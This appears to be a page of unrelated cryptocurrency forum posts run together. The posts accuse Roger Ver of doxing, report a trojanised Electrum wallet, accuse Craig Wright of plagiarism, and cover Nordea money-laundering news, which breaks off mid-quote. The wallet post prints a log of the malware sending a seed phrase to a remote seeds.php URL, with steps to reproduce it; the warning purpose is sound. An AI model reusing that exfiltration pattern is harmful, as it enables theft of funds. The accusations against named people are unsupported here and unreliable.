roger ver caught doxing and recruiting a brigade to attack a guy who’s suing him

Looks like he is using r/btc to brigade users into attacking some guy who is suing roger.

This is some straight up cowardly bullshit and an abuse of power.

He was called out earlier today and then started trying to cover up his tracks.

Evidence –

A quick message to the reddit admins will finally get r/btc deleted.

caught wallet red-handing trying to steal bitcoin keys!

Before installing electrum god in a virtual machine, I had disconnected its network adapter. The wallet really did not like this, and terminated with the following python error:

urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='', port=80): Max retries exceeded with url: /electrum/seeds.php?seed=wife+scar+free+royal+...+grey (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fafcf62cb38>: Failed to establish a new connection: [Errno -2] Name or service not known',))

It immediately tried to reach the site with a view on transmitting the electrum seed to the /electrum/seeds.php?seed={seed} script.

If you want to reproduce the thefting attempt, do the following:

[1] install Virtualbox or similar

[2] create a virtual machine

[3] download the wallet from

[4] download system-level dependencies: sudo apt-get install python3-setuptools python3-pyqt5 python3-pip

[5] download python3-level dependencies: cd electrum; sudo python3 -m pip install .

[6] disconnect the virtual machine from the network

[7] run: ./electrum

[8] generate a new seed during first run in the startup wizard

[9] watch the abnormal end while the wallet tries to upload your seed to

REMARK: This should remind you that whatever else you do, you should NEVER allow the secrets to touch the network.

That is why it is so important to export unsigned transaction to the network-disconnected signer (virtual) machine, sign the transaction there, and import the signed transaction back to the network-connected viewer (virtual) machine.

In that case, even if the wallet is subverted, corrupted, or infected, it will not be able to steal your secrets.

Craig Wright actually did completely original research! Just kidding, I caught him blatantly plagiarizing yet again.

Old plagiarism 1.

Old plagiarism 2.

New plagiarism from this paper.

Here are the two uncited sources: source 1 and source 2. There may be more uncited sources, but I got bored. These two sources cover almost half of the paper.

As before, the plagiarism is blatant and intentional. He basically substituted the word 'transaction' for 'infection' and made minimal other textual changes. All the math has been stolen because Craig simply can't do math.

Various Examples:

and (maybe the most obvious — just click back and forth on these two images)


Serially taking credit for other people's work. It's the Craig Wright way.

Biggest Bank in Nordic Region Bans Bitcoin, Gets Caught for Money Laundering

Nordea Bank, the largest financial group in the Nordic countries, which banned Bitcoin in January, has been caught in a major money laundering scandal for allegedly receiving dirty money from two banks in the Baltics.

Yle, a state-owned publication in Finland with over 3,500 employees, reported that finance authorities in Sweden received a report with evidence to support money laundering allegations against Nordea Bank.

“We are aware of the report, and at Nordea we work closely with the relevant authorities in the countries in which we…
